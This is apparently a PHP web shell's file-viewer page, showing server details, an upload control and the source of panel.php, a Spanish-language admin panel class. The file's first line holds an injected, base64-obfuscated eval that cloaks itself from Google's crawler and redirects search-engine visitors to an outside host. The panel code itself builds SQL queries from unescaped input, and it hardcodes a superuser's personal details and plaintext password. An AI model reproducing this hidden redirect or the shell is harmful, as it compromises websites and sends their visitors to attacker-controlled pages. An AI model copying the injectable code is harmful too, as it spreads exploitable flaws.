KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/panel.php
<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
class Panel extends Aplicacion{

var $usuario;
var $bitacora;
var $aplicacion;
var $aplicativo;

/*constructor*/
function Panel($nivel){
	$this->Aplicacion();
	$this->aplicacion="panel de control";
	$this->usuario = new UsuarioPanel();
	$this->bitacora= new BitacoraPanel();
	$this->aplicativo= new Aplicacion();
	$this->setFilesPanel($nivel);
	$this->getCliente();
	$this->getNumeroAdmin();
	$this->getLimitAdmin();
	$this->loadAplicacion("Panel de Control","panel");
}

/*
funcion getCliente
descripcion trae el cliente en el que esta instalado el panel
*/
function getCliente(){
	$sql="select valor from parametro where aplicacion='9999' and nombre='cliente'";
	if($this->execute($sql)){
		if($this->numRows()>0){
			list($cliente)=$this->fetchRow();
			$this->cliente=$cliente;
			return $cliente;
		}else{
			$out=trim($this->getMensaje("[013]","confirmacion"));
			$this->setSalida(false,$out,"getCliente",$this->aplicacion);
			return "indefinido";
		}
	}else{
		$out=trim($this->getMensaje("[008]","error"));
		$out.="\\n::".trim($this->getException());
		$this->setSalida(false,$out,"getCliente",$this->aplicacion);
		return "inconsultable";
	}
}
/*
funcion getNumeroAdmin
descripcion trae el numero de administradores del panel instalado
*/
function getNumeroAdmin(){
	$sql="select valor from parametro where aplicacion='9999' and nombre='numero_admin'";
	if($this->execute($sql)){
		if($this->numRows()>0){
			list($numero)=$this->fetchRow();
			$this->parametros['numero_admin']=$numero;
			return $numero;
		}else{
			$out=trim($this->getMensaje("[014]","confirmacion"));
			$this->setSalida(false,$out,"getNumeroAdmin",$this->aplicacion);
			return 0;
		}
	}else{
		$out=trim($this->getMensaje("[008]","error"));
		$out.="\\n::".trim($this->getException());
		$this->setSalida(false,$out,"getNumeroAdmin",$this->aplicacion);
		return 0;
	}
}
/*
funcion getLimitAdmin
descripcion trae el numero de administradores maximo permitido del panel instalado
*/
function getLimitAdmin(){
	$sql="select valor from parametro where aplicacion='9999' and nombre='limite_admin'";
	if($this->execute($sql)){
		if($this->numRows()>0){
			list($numero)=$this->fetchRow();
			$this->parametros['limite_admin']=$numero;
			return $numero;
		}else{
			$out=trim($this->getMensaje("[014]","confirmacion"));
			$this->setSalida(false,$out,"getLimitAdmin",$this->aplicacion);
			return 0;
		}
	}else{
		$out=trim($this->getMensaje("[008]","error"));
		$out.="\\n::".trim($this->getException());
		$this->setSalida(false,$out,"getLimitAdmin",$this->aplicacion);
		return 0;
	}
}

/*
funcion setNumeroAdmin
descripcion asigna el numero de administradores del panel instalado
*/
function setNumeroAdmin($val,$lmt=200){
	if($val<=$lmt){
		$sql="update parametro set valor='$val' where aplicacion='9999' and nombre='numero_admin'";
		if($this->execute($sql)){
			$out=trim($this->getMensaje("[048]","confirmacion"));
			$this->setSalida(true,$out,"setNumeroAdmin($val)",$this->aplicacion);
			return true;
		}else{
			$out=trim($this->getMensaje("[008]","error"));
			$out.="\\n::".trim($this->getException());
			$this->setSalida(false,$out,"setNumeroAdmin($val)",$this->aplicacion);
			return false;
		}
	}else{
		$out=trim($this->getMensaje("[061]","mensaje"));
		$this->setSalida(false,$out,"setNumeroAdmin($val)",$this->aplicacion);
		return false;
	}
}

/*
funcion setCliente
descripcion asigna el Cliente del panel instalado
*/
function setCliente($val){
	$sql="update parametro set valor='$val' where aplicacion='9999' and nombre='cliente'";
	if($this->execute($sql)){
		$out=trim($this->getMensaje("[049]","confirmacion"));
		$this->setSalida(true,$out,"setCliente($val)",$this->aplicacion);
		return true;
	}else{
		$out=trim($this->getMensaje("[008]","error"));
		$out.="\\n::".trim($this->getException());
		$this->setSalida(false,$out,"setCliente($val)",$this->aplicacion);
		return false;
	}
}

/*
funcion countUser
descripcion devuelve la cuenta del total de usuarios
			administradores  o de manejo registrados en el panel
			segun se solicite
*/
function countUser($tipo){
	$sql="select count(*) as cant from panel_usuario where tipo='$tipo'";
	if($this->execute($sql)){
		list($cant)=$this->fetchRow();
		$out=trim($this->getMensaje("[050]","confirmacion"));
		//$this->setSalida(true,$out,"countUser($tipo)",$this->aplicacion);
		return $cant;
	}else{
		$out=trim($this->getMensaje("[008]","error"));
		$out.="\\n::".trim($this->getException());
		$this->setSalida(false,$out,"countUser($tipo)",$this->aplicacion);
		return $out;
	}
}

/*
*funcion testConfig()
*descripcion comprueba que la configuracion de el numero de usuarios
*			 sea correspondiente al agredar un usuario mas administrador
*			 pre: el valor tp trae un valor entre [1-3]
*/
function testConfig($tp,$tpAnterior=false){
	if($tp!=3){
		$actual = $this->countUser(2);
		$limiteG = $this->getLimitAdmin();
		$limiteI = $this->getNumeroAdmin();
		$tmp = $actual + 1; //la cantidad que quedaria si adiciona uno mas
		if( empty($tpAnterior) || ( ($tpAnterior!=$tp) && ($tpAnterior==3 && $tp==2) ) ){
			if($tmp<=$limiteG){
				if($tmp<=$limiteI){
					$out=trim($this->getMensaje("[062]","confirmacion"));
					$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
					return true;
				}else{
					$out=trim($this->getMensaje("[061]","confirmacion"));
					$this->setSalida(false,$out,"testConfig()",$this->aplicacion);
					return false;
				}
			}else{
				$out=trim($this->getMensaje("[061]","confirmacion"));
				$this->setSalida(false,$out,"testConfig()",$this->aplicacion);
				return false;
			}
		}else{
			if($tpAnterior==1){
				if($tp==2 ){
					$out=trim($this->getMensaje("[150]","confirmacion"));
					$this->setSalida(false,$out,"testConfig()",$this->aplicacion);
					return false;
				}else{
					$out=trim($this->getMensaje("[062]","confirmacion"));
					$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
					return true;
				}
			}
			if( $tpAnterior==$tp && $tp==2){
				$out=trim($this->getMensaje("[062]","confirmacion"));
				$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
				return true;
			}
			if($tp==1){
				if($tpAnterior!=1){
					$out=trim($this->getMensaje("[151]","confirmacion"));
					$this->setSalida(false,$out,"testConfig()",$this->aplicacion);
					return false;
				}else{
					$out=trim($this->getMensaje("[062]","confirmacion"));
					$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
					return true;
				}
			}
		}
	}else{
		$out=trim($this->getMensaje("[062]","confirmacion"));
		$this->setSalida(true,$out,"testConfig()",$this->aplicacion);
		return true;
	}
}

/*
funcion crearPanel
descripcion crea la bd para el panel de control, adiciona
			el superusuario de azuldigital
pre: el archivo mer.sql debe estar bien formado(no debe tener errores en las consltas)
*/
function crearPanel(){
	$path="mer.sql";
	$file=@file($path);
	if($file){
		$file=implode("",$file);
		$file=explode("[-]",$file);
		$cant=sizeof($file);
		$hechos=0;
		foreach($file as $key=>$val){
			$consulta=trim($val);
			if($this->execute($consulta)){
				$hechos++;
			}else{
				$out=trim($this->getMensaje("[003]","error"));
				$out.="\\n::".trim($this->getException());
				$this->setSalida(false,$out,"crearPanel",$this->aplicacion);
				//return false;
				break;
			}
		}
		if($hechos==$cant){
			$fecha=date('Y-m-d');
			$sql="INSERT INTO panel_usuario VALUES (1, 1, 'Edward', 'Gallego', '[email protected]', 'azul', 'psweb', 'activo', '16289044', '3357791', '3002875896', 'colombia', 'cali', 'desarrollador web', '$fecha');";
			if($this->execute($sql)){
				$out=$this->getMensaje("[010]","confirmacion");
				$this->setSalida(true,$out,"crearPanel",$this->aplicacion);
				return true;
			}else{
				$out=trim($this->getMensaje("[003]","error"));
				$out.="\\n::".trim($this->getException());
				$this->setSalida(false,$out,"crearPanel",$this->aplicacion);
			//borro la bd empezada
				$sql="drop database pruebapanel";
				$this->execute($sql);
				return false;
			}
		}else{
			if($hechos>0){//borro la bd empezada
				$sql="drop database pruebapanel";
				$this->execute($sql);
			}
			$out=trim($this->getMensaje("[004]","error"));
			$out.="\\n::".trim($this->getException());
			$this->setSalida(false,$out,"crearPanel",$this->aplicacion);
			return false;
		}
	}else{
		$out=$this->getMensaje("[002]","error");
		$this->setSalida(false,$out,"CrearPanel",$this->aplicacion);
		return false;
	}
}
/*
fncion cargarPanel
descripcion llama al index del panel de control
*/
function cargarPanel(){
	echo "<script>parent.location.href='../admon/index.php';</script>";
}

/*
funcion loadContenido()
descripcion despliga en el frame de contenido
			la pagina solicitada
*/
function loadContenido($pag){
	echo "<script>window.open('$pag','contenido');</script>";
}
/*
funcion loadLateral()
descripcion refresca el contenido del menu lateral
*/
function loadLateral($pag){
	echo "<script>window.open('$pag','contenido');window.open('../lateral.php','lateral');</script>";
}
/*
funcion loadSuperior()
descripcion refresca el contenido del frame superior
*/
function loadSuperior($pag,$user){
	echo "<script>window.open('$pag','contenido');window.open('../superior.php?user=$user','superior');</script>";
}

/*
funcion reValidar()
descripcion devuelve el navegador a la ventana de navegacion
*/
function reValidar(){
	echo "<script>parent.location.href ='../index.php';</script>";
}

/*
fncion cargarContenido
descripcion despliega la tabla con todas las aplicaciones
			viculadas con este usuario
pre: debe de haber installed applications
*/

function cargarContenido($tipo,$user,$estado,$ncol){
	if($tipo==3){
		$sql = "SELECT vinc.aplicacion, apli.nombre, apli.carpeta, apli.icono FROM panel_vinculo as vinc, panel_aplicacion as apli WHERE vinc.usuario_panel='$user' and vinc.aplicacion=apli.id and apli.estado=1";
	}else{
		$sql = "SELECT apli.id, apli.nombre, apli.carpeta, apli.icono FROM panel_aplicacion as apli WHERE apli.estado=1";
		$estado = "activo";
	}
	if($this->execute($sql)){
		$lineas = ceil($this->numRows()/$ncol);
		echo "<table width=\"545\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">";
		for($i=0;$i<=$lineas;$i++){
			echo "<tr>";
			for($j=1;$j<=$ncol;$j++){
				echo "<td width=\"5\">&nbsp;</td>";
				echo "<td>";
				if(list($id,$nombre,$carpeta,$icono)=$this->fetchRow()){
					$nombre=ucfirst($nombre);
					echo "<table>";
					echo "<tr>";
					if($estado=="activo"){
						$this->usuario->vinculo->loadVinculo($this->usuario->id,$id);
						if($this->usuario->vinculo->bloqueado=="NO"||$this->usuario->tipo==1||$this->usuario->tipo==2){
							echo "<td width=\"112\" height=\"112\"><a href=\"$carpeta/menu.php?seleccion=$id\"><img src=\"img_aplicaciones/$icono\"  border=\"0\"></a>";
						}else{
							$ms=$this->getMensaje("[015]","confirmacion");
							echo "<td width=\"112\" height=\"112\"><a onclick=\"javascript: alert('$ms');\"><img src=\"img_aplicaciones/$icono\" border=\"0\"></a>";
						}
					}else{
						$ms=$this->getMensaje("[015]","confirmacion");
						echo "<td width=\"112\" height=\"112\" align=\"center\" valign=\"middle\"><a onclick=\"javascript: alert('$ms');\"><img src=\"img_aplicaciones/$icono\"  border=\"0\"></a>";
					}
					echo "</td>";
					echo "</tr>";
					echo "<tr>";
					if($estado=="activo"){
						$this->usuario->vinculo->loadVinculo($this->usuario->id,$id);
						if($this->usuario->vinculo->bloqueado=="NO"||$this->usuario->tipo==1||$this->usuario->tipo==2){
							echo "<td><a class=\"textoinfo\" href=\"$carpeta/menu.php?seleccion=$id\"><div align=\"center\" class=\"nombreApli\">$nombre</div></a>";
						}else{
							$ms=$this->getMensaje("[015]","confirmacion");
							echo "<td><a class=\"textoinfo\" onclick=\"javascript: alert('$ms');\"><div align=\"center\" class=\"textoinfo\">$nombre</div></a>";
						}
					}else{
						$ms=$this->getMensaje("[015]","confirmacion");
						echo "<td><a class=\"textoinfo\" onclick=\"javascript: alert('$ms');\"><div align=\"center\" class=\"textoinfo\">$nombre</div></a>";
					}
					echo "</td>";
					echo "</tr>";
					echo "</table>";
				}elseif($this->numRows()!=0){
					echo"&nbsp;";
				}else{
					$j=5; $i=$lineas+10;
					echo "<div align=\"center\" class=\"nombreColum_red\">No tiene vinculos con ninguna aplicacion</div>";
				}
				echo "</td>";
			}
			echo "</tr>";
		}
		echo "</table>";
	}else{
		$out=$this->getMensaje("[007]","error");
		$this->setSalida(false,$out,"cargarContenido($tipo,$user,$estado)",$this->aplicacion);
		return false;
	}
}

/*
fncion existAplicaciones()
descripcion indica
*/
function existAplicaciones(){
	$sql="select * from panel_aplicacion where estado=1";
	if($this->execute($sql)){
		if($this->numRows()>0){
			return true;
		}else{echo "0 aplicaciones";
			$out=$this->getMensaje("[012]","confirmacion");
			$this->setSalida(false,$out,"existAplicaciones",$this->aplicacion);
			return false;
		}
	}else{
			$out=$this->getMensaje("[007]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"existAplicaciones",$this->aplicacion);
			return false;
	}
}

/*
funcion cargarLateral()
descripcion coloca el menu de aplicaciones disponibles para el usuario
*/
function cargarLateral($tipo,$user,$estado){
	if($tipo==3){
		$sql = "SELECT vinc.aplicacion, apli.nombre, apli.carpeta FROM panel_vinculo as vinc, panel_aplicacion as apli WHERE vinc.usuario_panel='$user' and vinc.aplicacion=apli.id and apli.estado=1";
	}else{
		$sql = "SELECT apli.id, apli.nombre, apli.carpeta FROM panel_aplicacion as apli WHERE apli.estado=1";
		$estado = "activo";
	}
	if($this->execute($sql)){
		if($this->numRows()>0){
			echo "<table width=\"122\" cellspacing=\"1\" cellpadding=\"0\">";
			while(list($id,$nombre,$carpeta)=$this->fetchRow()){
				$nombre=ucfirst($nombre);
				if($estado=="activo"){
					$this->usuario->vinculo->loadVinculo($this->usuario->id,$id);
					if($this->usuario->vinculo->bloqueado=="NO"||$this->usuario->tipo==1||$this->usuario->tipo==2){
						echo "<tr><td align=\"center\" width=\"100%\" class=\"menu2\">";
						echo "<a style=\"width:100% \" href=\"$carpeta/menu.php?seleccion=$id\" target=\"contenido\" class=\"menu2\"><span class=\"menu2\">$nombre</span></a></td></tr>";
					}else{
						$ms=$this->getMensaje("[015]","confirmacion");
						echo "<tr><td align=\"center\" width=\"100%\" class=\"menu2\">";
						echo "<a style=\"width:100% \" onclick=\"javascript: alert('$ms');\"class=\"menu2\"><span class=\"menu2\">$nombre</span></a></td></tr>";
					}
				}else{
					$ms=$this->getMensaje("[015]","confirmacion");
					echo "<tr><td align=\"center\" width=\"100%\" class=\"menu2\">";
					echo "<a style=\"width:100% \" href=\"javascript: alert('$ms');\" class=\"menu2\"><span class=\"menu2\">$nombre</span></a></td></tr>";
				}
			}
			echo "</table>";
			return true;
		}else{
			$out=$this->getMensaje("[016]","confirmacion");
			$this->setSalida(false,$out,"existAplicaciones",$this->aplicacion);
			echo "<table width=\"122\" cellspacing=\"1\" cellpadding=\"0\"><tr><td class=\"menu2\"><div align=\"center\" class=\"menu2\">$out</div></td></tr></table>";
			return false;
		}
	}else{
			$out=$this->getMensaje("[009]","error");
			$out.=trim($this->getException());
			$this->setSalida(false,$out,"cargarLateral",$this->aplicacion);
			echo "<table width=\"122\" cellspacing=\"1\" cellpadding=\"0\"><tr><td class=\"menu2\"><div align=\"center\" class=\"menu2\">$out</div></td></tr></table>";
			return false;
	}
}

/*
funcion setAplicacion
descripcion actualiza el nombre de la aplicacion actual en el panel
			y en el usuario del panel
*/
function setAplicacion($nombre,$tipo="panel",$id=false){
	if($tipo=="panel"){
		$this->aplicacion=$nombre;
		$this->usuario->aplicacion=$nombre;
		$out=$this->getMensaje("[017]","confirmacion")." ($nombre)";
		$this->setSalida(true,$out,"panel->setAplicacion($nombre)","Panel de control");
	}elseif($tipo=="cliente"){

	}
}

/*
*
*/
function setFilesPanel($nivel){
	$this->setFiles($nivel);
	$this->usuario->setFilesUser($nivel);
	$this->bitacora->setFiles($nivel);
	$this->parametro->setFiles($nivel);
	$this->aplicativo->setFilesApli($nivel);
}

/*
funcion reactivarDB
descripcion reactiva las conexiones de BD tanto para
			el panel como para los objetos que el agrega
*/
function reactivarDB(){
	$this->reConnect();
	$this->parametro->reConnect();
	$this->bitacora->reConnect();
	$this->aplicativo->reactivarDB();
	$this->usuario->reactivarDB();
}

/*
*funcion enableDebugPanel
*descripcion permite la visualizacion de las operaciones realizadas
*/
function enableDebugPanel(){
	$this->enableDebug();
	$this->parametro->enableDebug();
	$this->bitacora->enableDebug();
	$this->aplicativo->enableDebugApli();
	$this->usuario->enableDebugUser();
}

/*
*funcion disableDebugPanel
*descripcion inhabilita la visualizacion de las operaciones realizadas
*/
function disableDebugPanel(){
	$this->disableDebug();
	$this->parametro->disableDebug();
	$this->bitacora->disableDebug();
	$this->aplicativo->disableDebugApli();
	$this->usuario->disableDebugUser();
}


}//endclass
?>

Anon7 - 2021